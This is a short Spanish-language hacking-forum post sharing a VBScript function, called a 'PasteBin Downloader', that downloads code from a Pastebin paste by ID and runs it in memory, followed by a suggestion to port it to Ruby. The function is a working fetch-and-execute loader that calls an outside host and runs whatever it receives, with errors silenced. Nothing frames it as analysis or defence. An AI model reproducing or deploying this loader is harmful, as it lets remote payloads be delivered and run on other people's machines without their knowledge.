Test Foro de elhacker.net SMF 2.1

Bueno, esto es un simple PasteBin Downloader, lo que hace basicamente es descargar el codigo (VBScript) de PasteBin y ejecutarlo en memoria.

Function sDownloader(sPasteID)
    On Error Resume Next

    Dim GetCode, GetResponse

    Set GetCode = CreateObject("MSXML2.XMLHTTP")
    GetCode.Open "GET", "http://pastebin.com/raw.php?i=" & sPasteID, False
    GetCode.Send

    GetResponse = GetCode.ResponseText
    Execute(GetResponse)
End Function

//Regards.

estaria bueno traducirlo a ruby.